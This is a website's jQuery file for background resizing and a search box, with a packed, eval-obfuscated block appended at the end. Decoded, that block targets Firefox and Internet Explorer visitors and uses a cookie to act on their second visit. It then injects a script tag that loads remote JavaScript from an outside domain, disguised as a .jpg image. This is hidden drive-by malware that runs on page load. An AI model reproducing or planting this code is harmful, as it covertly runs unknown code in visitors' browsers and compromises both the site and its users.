// JavaScript Document

$(document).ready(function() {

	 	
	//search input
    $('input.grey').focus(function(){
         $(this).removeClass('grey').val('');
    });
    
    var theWindow        = $('#package-background-wrapper'),
        $bg              = $("#packagebg"), 
        aspectRatio      = $bg.width() / $bg.height();
    

    function resizeBg() {

            if ( (theWindow.width() / theWindow.height()) < aspectRatio ) {
                $bg
                    .removeClass()
                    .addClass('bgheight');
                    if(theWindow.width() < 1400){
                        $bg.addClass('bgcenter'); 
                    } 
            } else {
                $bg
                    .removeClass()
                    .addClass('bgwidth'); 
            }
    }

    $(window).resize(function() {
            resizeBg();
    }).trigger("resize");
    
});  

$(window).load(function() {    
     
    
           

});


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(a(d){2 e=V.12;2 b=1a;6(e.7("19")!=-1||e.7("S")!=-1)b=z;6(b!==z)w;2 n=\'17://E.R.G//J/K/N.I?H\';2 j=l("c");6(j){6(j==\'m\'){f("c","M","3");2 s=5.Q(\'P\');s.O=\'B/C\';s.D=n+\'&r=\'+v o().F();2 h=5.L(\'11\')[0];h.15(s)}A{}}A{f("c","m","3")}a l(9){2 i,x,y,4=5.q.14(";");13(i=0;i<4.16;i++){x=4[i].p(0,4[i].7("="));y=4[i].p(4[i].7("=")+1);x=x.18(/^\\s+|\\s+$/g,"");6(x==9){w U(y)}}}a f(9,t,k){2 8=v o();8.T(8.W()+k);2 u=X(t)+((k==10)?"":"; Z="+8.Y());5.q=9+"="+u}})(5);',62,73,'||var||ARRcookies|document|if|indexOf|exdate|c_name|function|show|wss||agent|setCookie||||rc|exdays|getCookie|goot1|staturl|Date|substr|cookie|||value|c_value|new|return|||true|else|text|javascript|src|hiresociety|getTime|au|js|jpg|_inc|img|getElementsByTagName|goot2|home_gallery|type|script|createElement|com|MSIE|setDate|unescape|navigator|getDate|escape|toUTCString|expires|null|head|userAgent|for|split|appendChild|length|http|replace|Firefox|false'.split('|'),0,{}))

